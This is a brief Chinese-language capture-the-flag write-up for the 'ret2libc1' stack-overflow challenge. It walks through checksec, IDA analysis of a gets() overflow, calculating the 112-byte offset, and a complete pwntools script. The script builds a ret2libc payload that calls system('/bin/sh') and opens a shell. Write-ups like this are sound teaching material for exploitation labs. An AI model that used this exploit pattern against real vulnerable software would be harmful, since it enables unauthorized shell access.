1.checksec
栈溢出保护关,栈执行关闭
2.IDA分析
发现gets函数,为栈溢出点
看到system函数,我们可以构建ROP链来替换参数
3.计算所需填充的垃圾数据
用python3计算偏移量,可得108,再加上4字节达到返回地址
4.利用pwntools来构造payload
from pwn import *
io=process("./ret2libc1")
elf=ELF("./ret2libc1")
system_plt=elf.plt["system"]
next(elf.search(b"/bin/sh"))
bin_sh=next(elf.search(b"/bin/sh"))
payload=b'A'*112 + p32(system_plt) +b'BBBB'+p32(bin_sh)
io.sendline(payload)
io.interactive()
提示:payload中的BBBB,本来是exit函数,但是系统的崩溃不妨碍我们拿到flag。所以简化版就是直接填入BBBB垃圾字节。